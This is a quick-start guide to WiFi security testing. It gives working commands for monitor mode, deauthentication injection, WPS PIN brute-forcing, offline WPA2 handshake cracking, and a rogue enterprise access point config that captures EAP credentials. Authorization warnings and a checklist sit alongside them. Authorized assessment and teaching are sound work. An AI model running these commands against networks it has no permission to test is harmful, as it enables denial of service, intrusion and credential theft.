Quick Start: Essential WiFi Security Testing Toolkit

Interface Preparation and Monitor Mode

Every test starts with the wireless interface in the correct state. Name conventions vary: wlan0 is the managed-mode interface; wlan0mon is the monitor-mode interface created by airmon-ng, while some drivers (e.g., modern rtl88xxau) keep wlan0 and flip mode in-place.

# Identify your wireless interface
ip link show | grep wl

# Kill processes that interfere with monitor mode, then start it
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Verify monitor mode is active
iwconfig wlan0mon

What it does: check kill terminates NetworkManager, wpa_supplicant, and dhclient to prevent channel-hopping conflicts. start wlan0 creates the monitor virtual interface. When to use it: Before any capture, injection, or scanning operation. Risks: Disconnects you from any legitimate WiFi network; on headless systems, ensure alternative access (Ethernet, serial console) or schedule with at. Expected output: wlan0mon appears in iwconfig with Mode:Monitor; if you see Mode:Managed, the chipset or driver lacks monitor support.

Lab: Use airmon-ng for predictable interface naming. Production: On systems where check kill is too destructive, use iw directly: sudo iw dev wlan0 set type monitor and manage NetworkManager exclusions via nmcli.

Mistake Why it bites you
Forgetting check kill Background supplicant jumps channels, corrupting captures
Assuming wlan0mon exists Some drivers reuse wlan0; scripts break on hardcoded names
Running on USB 3.0 port adjacent to 2.4 GHz radio USB 3.0 noise at 2.4 GHz raises noise floor 10-20 dB, killing range

Channel Scanning and Target Identification

airodump-ng is the workhorse for discovering networks and associated clients. It hopscans channels by default; lock to a target channel for clean captures.

# Broad scan across 2.4 GHz and 5 GHz
sudo airodump-ng wlan0mon --band abg

# Targeted scan on channel 36, writing to file
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/capture

Sample output:

 CH 36 ][ Elapsed: 2 mins ][ 2024-01-15 09:42 ][ WPA2 handshake: 00:11:22:33:44:55

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -42      452        12    0  36  54e. WPA2 CCMP   PSK  CorpWiFi
 00:11:22:33:44:66  -67      210         0    0  36  54e. WPA2 CCMP   PSK  GuestWiFi

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes
 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    1e- 1e     0      142  wpa2 handshake

What it does: -c 36 locks channel to avoid channel-switch loss; --bssid filters noise; -w writes pcap for later analysis. When to use it: Reconnaissance phase and during handshake capture to verify target presence. Risks: Broad scan leaks your MAC address in probe requests; use --essid with fake MAC if testing detection systems. Expected output: WPA2 in ENC column, CCMP for AES (not TKIP), PSK or MGT (Enterprise) in AUTH. handshake in Notes confirms capture completion.

The PWR field is relative to your adapter's calibration, not absolute dBm. A -42 reading on one chipset may read -55 on another. Use it for comparative ranking, not coverage mapping.

Handshake Capture and Deauthentication Injection

The WPA2 4-way handshake contains the PMKID and encrypted MIC needed for offline PSK cracking. If clients are idle, stimulate reauthentication with deauth frames.

# Capture with client monitoring, channel-locked
sudo airodump-ng wlan0mon -c 36 --bssid 00:11:22:33:44:55 -w /tmp/handshake

# In second terminal: targeted deauthentication (5 frames, client-specific)
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

# Broadcast deauthentication (all clients) — higher disruption
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 wlan0mon

What it does: -0 5 sends 5 deauthentication frames; -a is target AP; -c is specific client MAC. When to use it: When airodump-ng shows connected clients but no handshake after several minutes. Risks: Broadcast deauth is a denial-of-service; specific-client targeting is stealthier but still detectable by any 802.11 frame analyzer. Expected output: airodump-ng prints WPA handshake: 00:11:22:33:44:55 in top-right; pcap file size jumps by ~2-4 KB.

Lab: Use targeted -c with 5-10 frames. Production / detection validation: Limit to 1-2 frames, or use passive capture only during known maintenance windows.

⚠️ Authorized, defensive use only. Deauthentication injection is indistinguishable from a denial-of-service attack. Deploy only in lab environments or during explicitly authorized wireless security assessments with written scope approval.

WPS PIN Testing

WiFi Protected Setup (WPS) remains enabled on consumer and some enterprise gear. The PIN is 8 digits but split into two halves with verifiers, reducing brute-force space dramatically.

# Reaver classic approach
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv -c 36

# Bully — often faster on modern chipsets, handles lockouts better
sudo bully -b 00:11:22:33:44:55 -c 36 -v 3 wlan0mon

What it does: Both tools brute-force WPS PINs, derive PSK from registrar response. When to use it: Target shows WPS in airodump-ng output (version 1.0/2.0). Risks: Many APs lock WPS after 3-10 failures for hours; rapid testing triggers obvious logs. Expected output: WPS PIN: 12345678 then WPA PSK: ActualPassword123. Lockouts print WARNING: Detected AP rate limiting.

Reaver's original codebase has stagnated; the current stable release of bully handles NACK-based lockout recovery more gracefully. If WPS 2.0 is enforced with strict lockout, neither tool succeeds—this is your signal that the target has been hardened against this vector.

WPA2-PSK Dictionary Attack

With a captured handshake, test password candidates offline. No further radio interaction required.

# Verify handshake presence
sudo aircrack-ng /tmp/handshake-01.cap

# Run dictionary attack
sudo aircrack-ng /tmp/handshake-01.cap -w /usr/share/wordlists/rockyou.txt -b 00:11:22:33:44:55

Sample output:

Reading packets, please wait...

Aircrack-ng 1.x

                         [00:00:12] 143002 keys tested (11234.56 k/s)

      KEY FOUND! [ Corporate2024! ]

Master Key     : A1 B2 C3 ...

What it does: -w specifies wordlist; -b filters for target BSSID in multi-network capture. When to use it: After handshake capture; scale to hashcat with -J output for GPU acceleration. Risks: Pure dictionary attacks fail against random passphrases; use only to validate policy compliance. Expected output: KEY FOUND! with plaintext, or exhaustion message. 1 handshake in initial summary confirms valid capture; 0 handshakes means recapture.

Hashcat conversion for GPU speedup:

aircrack-ng /tmp/handshake-01.cap -J /tmp/handshake_hccapx
hashcat -m 2500 /tmp/handshake_hccapx.hccapx /usr/share/wordlists/rockyou.txt

Rogue AP Quick Deployment with hostapd-wpe

hostapd-wpe simplifies attacking WPA/WPA2-Enterprise by impersonating the target network and capturing EAP credentials or relaying inner authentication.

# Install from OpenSecurityResearch repository (check latest release)
# Clone, build with WPE patches, or use distribution package if available

# Basic deployment — clone target SSID, Enterprise mode
sudo hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf

Minimal hostapd-wpe.conf:

interface=wlan0
ssid=CorpWiFi
channel=36
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
success_return=1

What it does: Creates rogue AP; clients with misconfigured certificate validation connect and expose EAP-Response/Identity (cleartext username) and potentially inner credentials. When to use it: Authorized enterprise wireless audits to test supplicant certificate validation. Risks: Active man-in-the-middle; any connected client routes traffic through your system unless isolated. Expected output: EAP-Response/Identity: CORP\jdoe printed to console; MSCHAPv2 or GTC challenge-response captured to log.

EAP-TLS's outer identity leaks real domain usernames before TLS tunnel establishment—this is protocol behavior, not implementation flaw. The deeper failure is broken server certificate validation: most supplicants ship with permissive defaults, and users habitually click through certificate warnings.

Kismet Drone Deployment for Distributed Monitoring

Kismet supports remote capture sources feeding a central server, enabling distributed 802.11 monitoring without full GUI at edge nodes.

# Headless drone: minimal hardware (Raspberry Pi 4, USB adapter)
sudo kismet_cap_linux_wifi --connect 198.51.100.10:3501 --source wlan0:name=site1,channels="1,6,11,36,40,44,48"

# Central server with web UI
sudo kismet --no-ncurses

What it does: kismet_cap_linux_wifi runs the capture binary only; feeds packets to central Kismet server over TCP. When to use it: Permanent or semi-permanent sensor deployment, wardriving with minimal hardware, or sites requiring multiple vantage points. Risks: Detecting unknown clients joining networks—while technically possible—varies in legality by jurisdiction and authorization context; log retention policies must be defined. Expected output: Web UI at http://198.51.100.10:2501 shows remote source site1 with channel list and detected devices.

Kismet's suid-root installation allows users in the kismet group to add capture sources via web interface without sudo. If your distribution packages lack this, you need sudo or manual capability adjustment. The current stable release's exact permission model may vary—verify with your package documentation.

Authorization Verification Checklist

Check Verify
Written authorization exists Scope document signed by network owner or delegate with legal authority
Target boundaries defined Specific SSIDs, BSSIDs, channels, physical addresses—not "the building"
Timebox enforced Start and end dates, with emergency contact for early termination
SSIDs match authorization Rogue AP deployment uses only explicitly permitted target names
Traffic isolation configured Rogue AP bridged to null/NAT to prevent accidental client Internet exposure
Logs retained per policy Captured handshakes, credentials, pcap files encrypted at rest, destruction date set
Deauth frames documented Each injection logged with timestamp, target, count, justification
WPS testing scoped Lockout recovery attempted only if explicitly permitted; abort on first unplanned outage report

A capture file without chain-of-custody documentation is forensically worthless. Label your -w output with date, test case reference, and operator initials at creation time—not during report writing two weeks later.

Further reading